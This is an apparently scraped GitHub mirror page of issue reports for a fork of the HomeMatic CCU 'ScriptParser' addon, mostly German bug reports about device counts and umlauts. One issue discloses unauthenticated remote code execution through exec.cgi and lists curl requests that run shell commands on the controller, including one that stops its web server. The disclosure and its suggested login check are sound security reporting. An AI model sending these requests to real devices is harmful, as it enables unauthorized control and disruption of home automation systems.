homematic-community / scriptparser Goto Github PK
View Code? Open in Web Editor NEWA fork of the HomeMatic CCU Addon "ScriptParser" from http://homematic-forum.de/forum/viewtopic.php?f=31&t=7014
A fork of the HomeMatic CCU Addon "ScriptParser" from http://homematic-forum.de/forum/viewtopic.php?f=31&t=7014
Version 1.5
Button "CCU-Inventur"
Ergebnis: 6 Kanäle in 180 Geräten
richtig wäre: 594 Kanäle in 179 Geräten
Die 6 Kanäle könnten aus dem 180ten Gerät kommen. Das würde bedeuten, es wird nicht summiert, oder die falsche variable ausgegeben.
Die Anzahl der Kanäle in der Summe ist leider immer noch falsch.
6 Kanäle in 180 Geräten:
like the hm_print ccu addon repo, please move this repo also to the @homematic-community organization.
Beim Ausführen bekomme immer nur diese Error, auch mit nur Hello Word...
vg
Andreas
Just in case the Script Parser AddOn is a popular installed software, it can be used by an unauthenticated attacker with access to the web interface for any Remote Code Execution on Homematic CCU.
You may add a login session validation to exec.cgi as shown in PR homematic-community/XML-API#31 for XML-API
Otherwise such calls are possible:
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/bin/touch /tmp/testfile;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=system.Exec("/etc/init.d/S50lighttpd stop;");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/bin/touch /tmp/testfile");'
curl -X POST -i 'http://1.2.3.4/addons/script/exec.cgi' --data 'var x=dom.GetObject("CUxD.CUX2801001:1.CMD_EXEC").State("/etc/init.d/S50lighttpd stop");'
Version 1.7
die deutschen Umlaute, die in der V 1.5 noch richtig ausgegeben wurden, sind jetzt falsch. Zumindest in der Ergebniszeile.
6 Kanäle in 180 Geräten:
In der Geräteliste sind die Umlaute richtig
91 000198A98BB224 HMIP-WRC2 (EG_Küche_Spüle_Ta)
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.